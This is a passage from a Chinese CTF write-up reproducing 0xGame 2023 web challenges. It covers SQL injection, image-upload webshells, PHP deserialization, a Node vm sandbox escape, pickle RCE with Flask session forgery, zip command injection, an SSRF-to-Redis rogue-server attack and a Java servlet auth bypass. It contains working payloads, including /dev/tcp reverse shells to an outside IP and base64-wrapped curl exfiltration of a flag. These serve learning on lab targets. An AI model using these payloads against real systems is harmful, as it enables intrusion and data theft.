0xGAME-WEB 复现

0xGame 2023 (复现)

前言

本来是参加了的,但是十月份招新赛太多,而且打CNSS的招新赛耗费了不少精力,所以0xGame就随便看了第一周的,本来以为没什么,但是打完鹏城杯后,看了一个南京邮电大学的web师傅wp,顺便看到了0xGame的wp,看完之后大喊可惜啊,考点非常全面,在我心里能够和CNSS媲美了

不过一个大二的人了做新生赛还这么困难,感觉快废了(呜呜呜呜呜)

第一周

就说一个题吧,其他的确实是新生赛水平

repo_leak

image-20231121233431755

提示使用git控制版本

很久之前看过git执行一些命令,当时没遇到过题目,不知道什么意思

首先工具要对,之前用的是GitHack,只能下载.git的代码,其他啥也不行

要用GitHacker,能完善的保留历史数据,所以才能使用git的一些命令

https://github.com/WangYihang/GitHacker

image-20231121233909751

遗憾的是明明用了源代码的docker来复现,但是却没有.git泄露,所以只能看wp写了

githacker --url http://localhost:8013/ --output-folder test

以下操作在.git生成的文件夹下操作

然后使用git log查看历史commits (wp说是git commit,但我网上查的是git log

会出现如下(wp的图)

image-20231121234500050

git reset --hard HEAD^    //回退上一个版本

cmd起一个http server,访问网址,即可看到flag

image-20231121234829429

在文件中硬找也可以

第二周

ez_sqli

尝试'报错后是flask框架,泄露了一部分源代码,使用cursor.execute()执行语句

cursor.execute()支持多语句查询,可以使用堆叠注入

但是waf很严重,没有select database table and or column ...... 空格也被禁了

想尝试handler,但是and被禁了,这是我没想到的

看wp,使用MYSQL预处理 (set prepare execute)进行绕过,跟MSSQL的declare exec差不多

代码特地开了 debug 模式, 这样方便通过报错注入直接回显数据, 当然也可以用时间盲注, 或者一些其它的方式, 比如直接 insert flag

我想写一句话木马,但是secure_file_priv没权限

那就报错注入一步一步试

但是读取时会有长度限制,使用substr就行,或者right、left、mid也行

# step 1 
select updatexml(1,concat(0x7e,(select substr((select flag from flag),1,31)),0x7e),1); 

# step 2 
select updatexml(1,concat(0x7e,(select substr((select flag from flag),31,99)),0x7e),1);
# step 1
id;set/**/@a=0x73656c65637420757064617465786d6c28312c636f6e63617428307837652c2873656c65637420737562737472282873656c65637420666c61672066726f6d20666c6167292c312c333129292c30783765292c31293b;prepare/**/stmt/**/from/**/@a;execute/**/stmt;
# step 2
id;set/**/@a=0x73656c65637420757064617465786d6c28312c636f6e63617428307837652c2873656c65637420737562737472282873656c65637420666c61672066726f6d20666c6167292c33312c393929292c30783765292c31293b;prepare/**/stmt/**/from/**/@a;execute/**/stmt;

很好,又完成了一个知道但没用过的方法

ez_upload

上传jpg的一句话木马文件,会有函数报错

这是通过 content-type 判断图片类型并调用对应的 imagecreatefromXXX 和 imgXXX 函数, 这些函数来自 PHP GD 库, 这个库主要负责处理图片

考点明确就是二次渲染

如果只是在图片的末尾简单的添加了 PHP 代码并上传, 那么经过二次渲染之后的图片是不会包含这段代码的, 因此需要去找一些绕过 GD 库二次渲染的脚本, 然后再构造图片马

gif能通过先上传文件后,然后下载上传后的文件,比对区别,在没被处理的地方插入一句话木马

但是png和jpg都有格式要求,参考文章的做法https://xz.aliyun.com/t/2657

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

直接用文章脚本

我这里docker启动不知道哪里有问题,上传的文件都访问不了,复现不成功

wp说注意修改文件后缀和 content-type (题目并没有限制文件后缀, 只有二次渲染这一个考点)

但是修改content-type好像会报错(但好像确实能上传成功)

结果

image-20231122001325958

真的不行啊,明明都给了docker为什么环境还会出问题呢

ez_unserialize

感觉有点抽象,他自己设置了php版本为5.6,可以直接用修改属性个数绕过__wakeup,但wp说用引用绕过,那么为什么不直接设置php版本高一点呢

但确实要是版本出的高一点确实也做不出来了

<?php
class Cache {
    public $key;
    public $value;
    public $expired;
    public $helper;

    public function __construct($key, $value, $helper) {
        $this->key = $key;
        $this->value = $value;
        $this->helper = $helper;

        $this->expired = False;
    }

    public function __wakeup() {
        $this->expired = False;
    }

    public function expired() {
        if ($this->expired) {
            $this->helper->clean($this->key);
            return True;
        } else {
            return False;
        }
    }
}

class Storage {
    public $store;

    public function __construct() {
        $this->store = array();
    }
    
    public function __set($name, $value) {
        if (!$this->store) {
            $this->store = array();
        }

        if (!$value->expired()) {
            $this->store[$name] = $value;
        }
    }

    public function __get($name) {
        return $this->data[$name];
    }
}

class Helper {
    public $funcs;

    public function __construct($funcs) {
        $this->funcs = $funcs;
    }

    public function __call($name, $args) {
        $this->funcs[$name](...$args);
    }
}

class DataObject {
    public $storage;
    public $data;

    public function __destruct() {
        foreach ($this->data as $key => $value) {
            $this->storage->$key = $value;
        }
    }
}

给出wp的payload

<?php

class Cache {
    public $key;
    public $value;
    public $expired;
    public $helper;
}

class Storage {
    public $store;
}

class Helper {
    public $funcs;
}

class DataObject {
    public $storage;
    public $data;
}

$helper = new Helper();
$helper->funcs = array('clean' => 'system');

$cache1 = new Cache();
$cache1->expired = False;      //没什么用,实例化时就是false

$cache2 = new Cache();
$cache2->helper = $helper;
$cache2->key = 'id';

$storage = new Storage();
$storage->store = &$cache2->expired;

$dataObject = new DataObject();
$dataObject->data = array('key1' => $cache1, 'key2' => $cache2);
$dataObject->storage = $storage;

echo serialize($dataObject);
?>

确实很细节,$storage->store = &$cache2->expired;,当store数组中有值时,Cache中的$this->expired)就可以返回true

所以要先在数组中放入一个没有任何用的$cache1,为什么是实例化的Cache呢,是为了防止在Storageif (!$value->expired()) {中报错

$dataObject->data = array('key1' => $cache1, 'key2' => $cache2);顺序不能反着来

ez_sandbox

几乎没做过沙箱题目

const crypto = require('crypto')
const vm = require('vm');

const express = require('express')
const session = require('express-session')
const bodyParser = require('body-parser')

var app = express()

app.use(bodyParser.json())
app.use(session({
    secret: crypto.randomBytes(64).toString('hex'),
    resave: false,
    saveUninitialized: true
}))

var users = {}
var admins = {}

function merge(target, source) {
    for (let key in source) {
        if (key === '__proto__') {
            continue
        }
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
    return target
}

function clone(source) {
    return merge({}, source)
}

function waf(code) {
    let blacklist = ['constructor', 'mainModule', 'require', 'child_process', 'process', 'exec', 'execSync', 'execFile', 'execFileSync', 'spawn', 'spawnSync', 'fork']
    for (let v of blacklist) {
        if (code.includes(v)) {
            throw new Error(v + ' is banned')
        }
    }
}

function requireLogin(req, res, next) {
    if (!req.session.user) {
        res.redirect('/login')
    } else {
        next()
    }
}

app.use(function(req, res, next) {
    for (let key in Object.prototype) {
        delete Object.prototype[key]
    }
    next()
})

app.get('/', requireLogin, function(req, res) {
    res.sendFile(__dirname + '/public/index.html')
})

app.get('/login', function(req, res) {
    res.sendFile(__dirname + '/public/login.html')
})

app.get('/register', function(req, res) {
    res.sendFile(__dirname + '/public/register.html')
})

app.post('/login', function(req, res) {
    let { username, password } = clone(req.body)

    if (username in users && password === users[username]) {
        req.session.user = username

        if (username in admins) {
            req.session.role = 'admin'
        } else {
            req.session.role = 'guest'
        }

        res.send({
            'message': 'login success'
        })
    } else {
        res.send({
            'message': 'login failed'
        })
    }
})

app.post('/register', function(req, res) {
    let { username, password } = clone(req.body)

    if (username in users) {
        res.send({
            'message': 'register failed'
        })
    } else {
        users[username] = password
        res.send({
            'message': 'register success'
        })
    }
})

app.get('/profile', requireLogin, function(req, res) {
    res.send({
        'user': req.session.user,
        'role': req.session.role
    })
})

app.post('/sandbox', requireLogin, function(req, res) {
    if (req.session.role === 'admin') {
        let code = req.body.code
        let sandbox = Object.create(null)
        let context = vm.createContext(sandbox)
        
        try {
            waf(code)
            let result = vm.runInContext(code, context)
            res.send({
                'result': result
            })
        } catch (e) {
            res.send({
                'result': e.message
            })
        }
    } else {
        res.send({
            'result': 'Your role is not admin, so you can not run any code'
        })
    }
})

app.get('/logout', requireLogin, function(req, res) {
    req.session.destroy()
    res.redirect('/login')
})

app.listen(3000, function() {
    console.log('server start listening on :3000')
})

首先是原型链污染

代码在注册和登录的时候使用了 clone(req.body)

function merge(target, source) {
    for (let key in source) {
        if (key === '__proto__') {
            continue
        }
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
    return target
}

function clone(source) {
    return merge({}, source)
}

过滤了__proto__可以用constructor.prototype绕过

先注册一个 test 用户, 在登录时 POST 如下内容, 污染 admins 对象, 使得 username in admins 表达式的结果为 True

{
    "username": "test",
    "password": "test",
    "constructor": {
        "prototype": {
            "test": "123"
        }
    }
}

污染的是{}constructor.prototype,即Object中会有一个test属性

所以当

if (username in users && password === users[username]) {
    req.session.user = username

    if (username in admins) {
        req.session.role = 'admin'
    } else {
        req.session.role = 'guest'
    }

判断时,admins数组会优先从Object中获取到test,于是test账号成为了admin

然后就是vm沙箱逃逸

https://xz.aliyun.com/t/11859写的很好

    let code = req.body.code
    let sandbox = Object.create(null)
    let context = vm.createContext(sandbox)
    
    try {
        waf(code)
        let result = vm.runInContext(code, context)
        res.send({
            'result': result
        })

直接使用文章中的代码,但是有waf,手动拼接进行绕过

wp中给出了两种方法

// method 1
throw new Proxy({}, { // Proxy 对象用于创建对某一对象的代理, 以实现属性和方法的拦截
    get: function(){ // 访问这个对象的任意一个属性都会执行 get 指向的函数
        const c = arguments.callee.caller
        const p = (c['constru'+'ctor']['constru'+'ctor']('return pro'+'cess'))()
        return p['mainM'+'odule']['requi'+'re']('child_pr'+'ocess')['ex'+'ecSync']('cat /flag').toString();
    }
})


// method 2
let obj = {} // 针对该对象的 message 属性定义一个 getter, 当访问 obj.message 时会调用对应的函数
obj.__defineGetter__('message', function(){
    const c = arguments.callee.caller
    const p = (c['constru'+'ctor']['constru'+'ctor']('return pro'+'cess'))()
    return p['mainM'+'odule']['requi'+'re']('child_pr'+'ocess')['ex'+'ecSync']('cat /flag').toString();
})
throw obj

第三周

notebook

开启题目,找了半天,原来是会给出app.py

from flask import Flask, request, render_template, session
import pickle
import uuid
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()

class Note(object):
    def __init__(self, name, content):
        self._name = name
        self._content = content

    @property
    def name(self):
        return self._name
    
    @property
    def content(self):
        return self._content


@app.route('/')
def index():
    return render_template('index.html')


@app.route('/<path:note_id>', methods=['GET'])
def view_note(note_id):
    notes = session.get('notes')
    if not notes:
        return render_template('note.html', msg='You have no notes')
    
    note_raw = notes.get(note_id)
    if not note_raw:
        return render_template('note.html', msg='This note does not exist')
    
    note = pickle.loads(note_raw)
    return render_template('note.html', note_id=note_id, note_name=note.name, note_content=note.content)


@app.route('/add_note', methods=['POST'])
def add_note():
    note_name = request.form.get('note_name')
    note_content = request.form.get('note_content')

    if note_name == '' or note_content == '':
        return render_template('index.html', status='add_failed', msg='note name or content is empty')
    
    note_id = str(uuid.uuid4())
    note = Note(note_name, note_content)

    if not session.get('notes'):
        session['notes'] = {}
    
    notes = session['notes']
    notes[note_id] = pickle.dumps(note)
    session['notes'] = notes
    return render_template('index.html', status='add_success', note_id=note_id)


@app.route('/delete_note', methods=['POST'])
def delete_note():
    note_id = request.form.get('note_id')
    if not note_id:
        return render_template('index.html')
    
    notes = session.get('notes')
    if not notes:
        return render_template('index.html', status='delete_failed', msg='You have no notes')
    
    if not notes.get(note_id):
        return render_template('index.html', status='delete_failed', msg='This note does not exist')
    
    del notes[note_id]
    session['notes'] = notes
    return render_template('index.html', status='delete_success')


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=False)

一眼看到pickle.loads()pickle.dumps并且毫无过滤

并且结果都是在session中的,可以想到flask-session伪造

有关session部分的操作没看懂的话可以把生成的session使用工具进行解码就会清楚很多

app.config['SECRET_KEY'] = os.urandom(2).hex()

手动生成一下os.urandom(2).hex(),会发现是4位数,可以进行爆破

wp中的python写字典

import itertools

d = itertools.product('0123456789abcdef', repeat=4)

with open('dicts.txt', 'w') as f:
    for i in d:
        s = ''.join(i)
        f.write(s + '\n')

要爆破session的话要用https://github.com/Paradoxis/Flask-Unsign

就不能用https://github.com/noraj/flask-session-cookie-manager

flask-unsign -u -c "eyJub3RlcyI6e319.ZRaiVg.28tEyvEpXfcjFl5rrQ7K_nkl208" -w dicts.txt --no-literal-eval

这里wp中-c后面用的是单引号,但我要用双引号才能成功(可能与wp作者用的是mac有关)

D:\CTF-tool\python脚本\Flask-Unsign-master\tests>flask-unsign -u -c ".eJw1yk0LgjAcgPGvErsPdG2yCR2WZFmMIt_S4_q7TGYFJVbid68OPZff5RnQ5fqo7sgfEBUeY1POsScAMKVMY87BwVNwoCLMHF0tft9EIx-dZJzt5L9ABaEwOg9v2gpjo36RtMIpyzixQTu3K5Juoj48EFbrPE8bqZ6q2X6tTUFEB8usg3Ws5Fu9VLl3izOdoXEcP8_pL4U.ZVy64Q.UC73ttAT_J3qfi-sfE7O2ryZjQ8" -w C:\Users\86136\Desktop\challenge\test\upload\dict.txt --no-literal-eval

[*] Session decodes to: {'notes': {'49655388-69dd-445b-88d0-3d0de25fc1b9': b'\x80\x04\x95<\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04Note\x94\x93\x94)\x81\x94}\x94(\x8c\x05_name\x94\x8c\x03123\x94\x8c\x08_content\x94\x8c\x03321\x94ub.'}}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 30464 attempts
b'76c0'

看到解码的内容,很明显,key对应的是路由,value对应的是pickle序列化后的值

加上我们看到毫无过滤,直接手写opcode

b'''(S'bash -c "bash -i >& /dev/tcp/118.89.61.71/7777 0>&1"'
ios
system
.'''

给出wp中说到的一些细节

首先, 如果你使用 pickle.dumps() 来生成 payload, 那么你得知道不同操作系统生成的 pickle 序列化数据是有区别的

参考: https://xz.aliyun.com/t/7436

# Linux (注意 posix) b'cposix\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.' 
# Windows (注意 nt) b'cnt\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'

在 Windows 上生成的 pickle payload 无法在 Linux 上运行

当然如果手动去构造 opcode, 那是没有这个问题的, 比如这段 opcode

b'''cos\nsystem\n(S'whoami'\ntR.'''

其次, 很多人过来问为什么构造了恶意 pickle 序列化数据发送之后服务器报错 500, 其实这个是正常现象, 没啥问题

上面代码在 pickle.loads() 之后得到 note 对象, 然后访问它的 id, name, content 属性, 即 note.id, note.name, note.content

如果是正常的 pickle 数据, 那么服务器就会显示正常的 note 内容

如果是恶意的 pickle 数据, 那么 pickle.loads() 返回的就是通过 __reduce__ 方法调用的某个函数所返回的结果, 根本就没有 id, name, content 这些属性, 当然就会报错了

import pickle

class A:
	def __reduce__(self):
 		return (str, ("123", ))

s = pickle.dumps(A(), protocol=0)
obj = pickle.loads(s)
print(obj) # 123

换成 os.system() 同理, 在 Linux 中通过这个函数执行的命令, 如果执行成功, 则返回 0, 否则返回非 0 值

虽然服务器会报错 500, 但命令其实还是执行成功的

然后, 也有一部分人问为什么没有回显? 为什么反弹 shell 失败?

首先为什么没有回显我上面已经说了, 而且就算 os.system() 有回显你也看不到, 因为回显的内容根本就不会在网页上输出

至于为什么反弹 shell 失败, 提示 sh: 1: Syntax error: Bad fd number., 很多人用的都是这个命令

bash -i >& /dev/tcp/host.docker.internal/4444 0>&1

这个命令存在一些注意点, 首先得理解 bash 反弹 shell 的本质

https://www.k0rz3n.com/2018/08/05/Linux反弹shell(一)文件描述符与重定向/

[https://www.k0rz3n.com/2018/08/05/Linux反弹shell(二)反弹shell的本质/](https://www.k0rz3n.com/2018/08/05/Linux 反弹shell (二)反弹shell的本质/)

然后你得知道上面这个反弹 shell 的语法其实是 bash 自身的特性, 而其它 shell 例如 sh, zsh 并不支持这个功能

对于题目的环境而言, 当你执行这条命令的时候, 它实际上是在 sh 的 context 中执行的, >& 以及 /dev/tcp/IP/Port 会被 sh 解析, 而不是 bash, 因此会报错

解决方法也很简单, 将上面的命令使用 bash -c "" 包裹起来, 即

bash -c "bash -i >& /dev/tcp/host.docker.internal/4444 0>&1"

>& 以及 /dev/tcp/IP/Port 都被 bash 解析, 就能反弹成功了

说的很好,提到的pickle部分在学习中都有了解到

说一下自己sb的地方,我直接拿CNSS的payload去打,但是我忘了那是在URL中输入的,进行了url编码,这里换行直接用\n就行

b'(S\'bash -c "bash -i >& /dev/tcp/xx.xx.xx.xx/7777 0>&1"\'\nios\nsystem\n.'

并且上面说到反弹shell说的很好,一定要加上bash -c,直接bash -i是不行的,但我在CNSS是可以直接bash -i的,现在想来应该是CNSS恰好用的是bash,而该题目应该用的是其他shell,要加上bash -c让他被bash解析

flask-unsign --sign --cookie "{'notes': {'evil': b'''cos\nsystem\n(S'bash -c \"bash -i >& /dev/tcp/xx.xxx.xx.xx/4444 0>&1\"'\ntR.'''}}" --secret 6061 --no-literal-eval

要加上--no-literal-eval,不然生成结果不一样

再说明一下,要在linux环境下运行才可以(当然出题人的mac也行),

windows下是无法使用\进行转义的

在 Windows 的 cmd 中,如果你已经使用了双引号括起整个字符串,而字符串内部又需要包含双引号,可以使用两个双引号来表示一个双引号。这是 Windows 命令行的规则。

image-20231122111735938

RSS parser

搜一下就知道RSS语法与xml有关,于是想到XXE漏洞

image-20231122123119964

无法直接读取/flag,随便输入以http或https开头的url,能看到是flask的debug页面

于是算pin码

但这里奇怪的是wp中说/etc/machine-id是没有值的,但我用docker启动题目是可以读取到值的

不说了,没一次是算对的

zip_manager

服了,题目给的docker启动了,访问不了,挺想做的

题目实现了在线解压缩 zip 文件的功能, 但是不能进行目录穿越

os.system('unzip -o {} -d {}'.format(zip_path, dest_path))

可以有两种方法:zip 软链接和命令注入

unzip -o 很明显能够使用软链接 2023国赛也出过

ln -s / test 
zip -y test.zip test

上传后访问 http://127.0.0.1:50033/test/test/

image-20231122132634217

然后使用os.system也很明显,;绕过,文件名处命令执行,要以.zip结尾

test.zip;echo Y3VybCBob3N0LmRvY2tlci5pbnRlcm5hbDo0NDQ0IC1UIC9mbGFnCg==|base64 -d|bash;1.zip

web_snapshot

ssrf打redis,虽然知道主从复制,但是确实不会操作,算是保存脚本吧,学到了

限制输入的 url 只能以 http / https 开头

注意 curl_setopt 设置的参数 CURLOPT_FOLLOWLOCATION, 代表允许 curl 根据返回头中的 Location 进行重定向

而 curl 支持 dict / gopher 等协议, 那么我们就可以通过 Location 头把协议从 http 重定向至 dict / gopher, 这个技巧在一些关于 ssrf 的文章里面也会提到

结合 redis 的知识点, 可以尝试 redis 主从复制 rce

https://github.com/Dliv3/redis-rogue-server

//生成gopher协议脚本

import requests
import re

def urlencode(data):
    enc_data = ''
    for i in data:
        h = str(hex(ord(i))).replace('0x', '')
        if len(h) == 1:
            enc_data += '%0' + h.upper()
        else:
            enc_data += '%' + h.upper()
    return enc_data

def gen_payload(payload):

    redis_payload = ''

    for i in payload.split('\n'):
        arg_num = '*' + str(len(i.split(' ')))
        redis_payload += arg_num + '\r\n'
        for j in i.split(' '):
            arg_len = '$' + str(len(j))
            redis_payload += arg_len + '\r\n'
            redis_payload += j + '\r\n'

    gopher_payload = 'gopher://db:6379/_' + urlencode(redis_payload)
    return gopher_payload

payload1 = '''
slaveof vps_ip 21000     //vps上启动的redis-rogue-server的端口
config set dir /tmp
config set dbfilename exp.so
quit
'''

payload2 = '''slaveof no one
module load /tmp/exp.so
system.exec 'env'
quit
'''

print(gen_payload(payload1))
print(gen_payload(payload2))

利用php代码 从 http 重定向至 dict / gopher

分两次打

<?php

// step 1
header('Location: gopher://db:6379/_%2A%31%0D%0A%24%30%0D%0A%0D%0A%2A%33%0D%0A%24%37%0D%0A%73%6C%61%76%65%6F%66%0D%0A%24%32%30%0D%0A%68%6F%73%74%2E%64%6F%63%6B%65%72%2E%69%6E%74%65%72%6E%61%6C%0D%0A%24%35%0D%0A%32%31%30%30%30%0D%0A%2A%34%0D%0A%24%36%0D%0A%63%6F%6E%66%69%67%0D%0A%24%33%0D%0A%73%65%74%0D%0A%24%33%0D%0A%64%69%72%0D%0A%24%34%0D%0A%2F%74%6D%70%0D%0A%2A%34%0D%0A%24%36%0D%0A%63%6F%6E%66%69%67%0D%0A%24%33%0D%0A%73%65%74%0D%0A%24%31%30%0D%0A%64%62%66%69%6C%65%6E%61%6D%65%0D%0A%24%36%0D%0A%65%78%70%2E%73%6F%0D%0A%2A%31%0D%0A%24%34%0D%0A%71%75%69%74%0D%0A%2A%31%0D%0A%24%30%0D%0A%0D%0A');

// step 2
// header('Location: gopher://db:6379/_%2A%33%0D%0A%24%37%0D%0A%73%6C%61%76%65%6F%66%0D%0A%24%32%0D%0A%6E%6F%0D%0A%24%33%0D%0A%6F%6E%65%0D%0A%2A%33%0D%0A%24%36%0D%0A%6D%6F%64%75%6C%65%0D%0A%24%34%0D%0A%6C%6F%61%64%0D%0A%24%31%31%0D%0A%2F%74%6D%70%2F%65%78%70%2E%73%6F%0D%0A%2A%32%0D%0A%24%31%31%0D%0A%73%79%73%74%65%6D%2E%65%78%65%63%0D%0A%24%35%0D%0A%27%65%6E%76%27%0D%0A%2A%31%0D%0A%24%34%0D%0A%71%75%69%74%0D%0A%2A%31%0D%0A%24%30%0D%0A%0D%0A');

在 vps 上启动 php -S 0.0.0.0:65000(跟python启动http.server差不多), 然后让题目去访问这个 php 文件

image-20231122153720563

image-20231122153647044

第二次打完之后, 访问给出的 link 拿到回显

image-20231122153822385

wp提醒的几个点

首先 gopher 得分两次打, 不然你在执行 slaveof IP Port 命令之后又立即执行了 slave of no one, 这就导致根本没有时间去主从复制 exp.so

其次在使用 gopher 发送 redis 命令的时候记得结尾加上 quit, 不然会一直卡住

然后注意 redis 的主机名是 db, 而不是 127.0.0.1, 因此访问 redis 数据库得用 db:6379

如果用 dict 协议打的话, 得调整一下 payload 顺序

dict://db:6379/config:set:dir:/tmp 
dict://db:6379/config:set:dbfilename:exp.so dict://db:6379/slaveof:host.docker.internal:21000 dict://db:6379/module:load:/tmp/exp.so 
dict://db:6379/slave:no:one 
dict://db:6379/system.exec:env 
dict://db:6379/module:unload:system

因为每次执行命令之间会存在一定的时间间隔, 所以得先设置 dir 和 dbfilename, 然后再 slaveof, 不然最终同步的文件名和路径还是原来的 /data/dump.rdb

go shop

题目是一个商店, 初始 money 为 100, 需要购买金额为 999999999 的 flag 商品后才能拿到 flag

往 number 里面填负数或者小数这种思路都是不行的, 需要仔细看代码的逻辑

n, _ := strconv.Atoi(data["num"].(string))

if n < 0 {
    c.JSON(200, gin.H{
        "message": "Product num can't be negative",
    })
    return
}

if user.Money >= product.Price*int64(n) {
    user.Money -= product.Price * int64(n)
    user.Items[product.Name] += int64(n)
    c.JSON(200, gin.H{
        "message": fmt.Sprintf("Buy %v * %v success", product.Name, n),
    })

Go 语言是强类型语言, 包含多种数据类型, 以数字类型为例, 存在 uint8 uint16 uint32 uint64 (无符号整型) 和 int8 int16 int32 int64 (有符号整型) 等类型

Go 语言在编译期会检查源码中定义的变量是否存在溢出, 例如 var i uint8 = 99999 会使得编译不通过, 但是并不会检查变量的运算过程中是否存在溢出, 例如 var i uint8 = a * b, 如果程序没有对变量的取值范围做限制, 那么在部分场景下就可能存在整数溢出漏洞

上面的 BuyHandler 虽然限制了 n 不能为负数, 但是并没有限制 n 的最大值

因此我们可以控制 n, 使得 product.Price * int64(n) 溢出为一个负数, 之后进行 user.Money -= product.Price * int64(n) 运算的时候, 当前用户的 money 就会增加, 最终达到一个可以购买 flag 商品的金额, 从而拿到 flag

查阅相关文档可以知道 int64 类型的范围是 -9223372036854775808 ~ 9223372036854775807

经过简单的计算或者瞎猜, 可以购买数量为 922337203695477808 的 apple

因为product.Price也是int64

可以让product.Price*int64(n)的结果产生溢出,变为负数通过判断,并且变为负数money也会不断增加

也可以直接让n产生溢出,这样money会加的很少,但数量会变得很大,然后卖掉即可

第四周 (java安全专题,但与gadget无关)

因为一直在学java,没怎么做过题目,所以看到是专题时挺感兴趣的

spring

image-20231122181651148

考察spring actuator,https://xz.aliyun.com/t/9763#toc-12

/actuator/env 可以发现 app.username 和 app.password 这两个环境变量

image-20231122181847546

spring actuator 默认会把含有 password secret 之类关键词的变量的值改成星号, 防止敏感信息泄露

但是我们可以通过 /actuator/heapdump 这个路由去导出 jvm 中的堆内存信息, 然后通过一定的查询得到 app.password 的明文

https://github.com/whwlsfb/JDumpSpider

使用内存分析工具解析heapdump文件

java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
.........
OriginTrackedMapPropertySource
-------------
management.endpoints.web.exposure.include = *
server.port = null
management.endpoints.web.exposure.exclude = shutdown,refresh,restart
app.password = 0xGame{1abbac75-e230-4390-9148-28c71e0098b9}
app.username = flag_is_the_password

......

auth_bypass

主要考察对war包结构的认识

题目附件给了 AuthFilter.java 和 DownloadServlet.java

//AuthFilter.java
public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException, ServletException {
    HttpServletRequest request = (HttpServletRequest)req;
    if (request.getRequestURI().contains("..")) {
        resp.getWriter().write("blacklist");
    } else {
        if (request.getRequestURI().startsWith("/download")) {
            resp.getWriter().write("unauthorized access");
        } else {
            chain.doFilter(req, resp);
        }

    }
}
//DownloadServlet.java
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
    String currentPath = this.getServletContext().getRealPath("/assets/");
    Object fileNameParameter = req.getParameter("filename");
    if (fileNameParameter != null) {
        String fileName = (String)fileNameParameter;
        resp.setHeader("Content-Disposition", "attachment;filename=" + fileName);
        FileInputStream input = new FileInputStream(currentPath + fileName);
        Throwable var7 = null;

        try {
            byte[] buffer = new byte[4096];

            while(input.read(buffer) != -1) {
                resp.getOutputStream().write(buffer);
            }
        } catch (Throwable var16) {
            var7 = var16;
            throw var16;
        } finally {
            if (input != null) {
                if (var7 != null) {
                    try {
                        input.close();
                    } catch (Throwable var15) {
                        var7.addSuppressed(var15);
                    }
                } else {
                    input.close();
                }
            }

        }
    } else {
        resp.setContentType("text/html");
        resp.getWriter().write("<a href=\"/download?filename=avatar.jpg\">avatar.jpg</a>");
    }

}

DownloadServlet 很明显存在任意文件下载, 但是 AuthFilter 限制不能访问 /download 路由

if (request.getRequestURI().contains("..")) {    resp.getWriter().write("blacklist");    return; } if (request.getRequestURI().startsWith("/download")) {    resp.getWriter().write("unauthorized access"); } else {    chain.doFilter(req, resp); }

根据网上的文章可以知道, 直接通过 getRequestURI() 得到的 url 路径存在一些问题, 比如不会自动 urldecode, 也不会进行标准化 (去除多余的 /..)

这里 .. 被过滤了, 所以直接访问 //download 就能绕过, 后面目录穿越下载文件的时候可以将 .. 进行一次 url 编码

然后可以通过 //download?filename=avatar.jpg 下载文件, 但是无法读取 /flag (提示 Permission denied), 那么很明显需要 RCE

根据题目描述, 网站使用 war 打包

存在一个 WEB-INF 目录, 目录里面包含编译好的 .class 文件以及 web.xml

//download?filename=%2e%2e/WEB-INF/web.xml
<servlet>
	<servlet-name>EvilServlet</servlet-name>
	<servlet-class>com.example.demo.EvilServlet</servlet-class>
</servlet>

<servlet-mapping>
	<servlet-name>EvilServlet</servlet-name>
	<url-pattern>/You_Find_This_Evil_Servlet_a76f02cb8422</url-pattern>
</servlet-mapping>
//download?filename=%2e%2e/WEB-INF/classes/com/example/demo/EvilServlet.class
import java.io.IOException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class EvilServlet extends HttpServlet {
  protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {
    String cmd = req.getParameter("Evil_Cmd_Arguments_fe37627fed78");
    try {
      Runtime.getRuntime().exec(cmd);
      resp.getWriter().write("success");
    } catch (Exception e) {
      resp.getWriter().write("error");
    } 
  }
}
POST /You_Find_This_Evil_Servlet_a76f02cb8422 HTTP/1.1
Host: 127.0.0.1:50042
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 143

Evil_Cmd_Arguments_fe37627fed78=bash+-c+{echo,YmFzaCAtaSA%2bJiAvZGV2L3RjcC9ob3N0LmRvY2tlci5pbnRlcm5hbC80NDQ0IDA%2bJjE%3d}|{base64,-d}|{bash,-i}

image-20231122210609455

YourBatis

自己看时并没看出什么,感觉只有长得奇怪的SQL查询

看wp,是动态SQL

https://www.cnpanda.net/sec/1227.html

mybatis组件的动态SQL会导致OGNL注入

  • @Insert
  • @Update
  • @Delete
  • @Select
  • @InsertProvider
  • @SelectProvider
  • @UpdateProvider
  • @DeleteProvider

影响范围

  • mybatis-spring-boot-starter >=2.0.1(mybatis-spring-boot-starter组件从2.0.1版本开始支持Provider动态SQL)

或者

